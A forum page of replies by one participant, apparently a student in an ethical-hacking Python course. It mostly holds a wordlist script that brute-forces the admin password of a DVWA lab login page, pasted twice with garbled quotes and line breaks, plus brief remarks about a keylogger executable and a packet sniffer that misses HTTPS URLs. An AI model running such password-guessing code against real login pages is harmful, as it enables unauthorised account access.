Forum Replies Created
- AuthorPosts
- Hassan AswadParticipant
Yes problem solved Thank you
Hassan AswadParticipant#!/usr/bin/env python
import requeststarget_url = “http://10.0.2.5/dvwa/login.php”
data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
for line in wordlist_file:
`word = line.strip()
`data_dict[“password”] = word
`response = requests.post(target_url, data=data_dict)
`if “login failed” not in response.content:
print(“[+] Got the password –> ” + word)
exit()
print(“[-] Try again!”)
Hassan AswadParticipant`#!/usr/bin/env python
import requeststarget_url = “http://10.0.2.5/dvwa/login.php”
data_dict = {“username”: “admin”, “password”: “”, “Login”: “submit”}with open(“/root/Downloads/testlist.txt”, “r”) as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict[“password”] = word
response = requests.post(target_url, data=data_dict)
if “login failed” not in response.content:
print(“[+] Got the password –> ” + word)
exit()
print(“[-] Try again!”)
Hassan AswadParticipantI just type the name of the keylogger. example, Keylogger.exe
Hassan AswadParticipantHello Diego,
I write a python script the same as in the python course. (Writing A Packet Sniffer) 6,7. The programme work fine when i want to sniff . when i open a http url its work its show me the url in the terminal. But when i open a https urls its not show me the urls in the terminal.
i’ve sent you an image via email. - AuthorPosts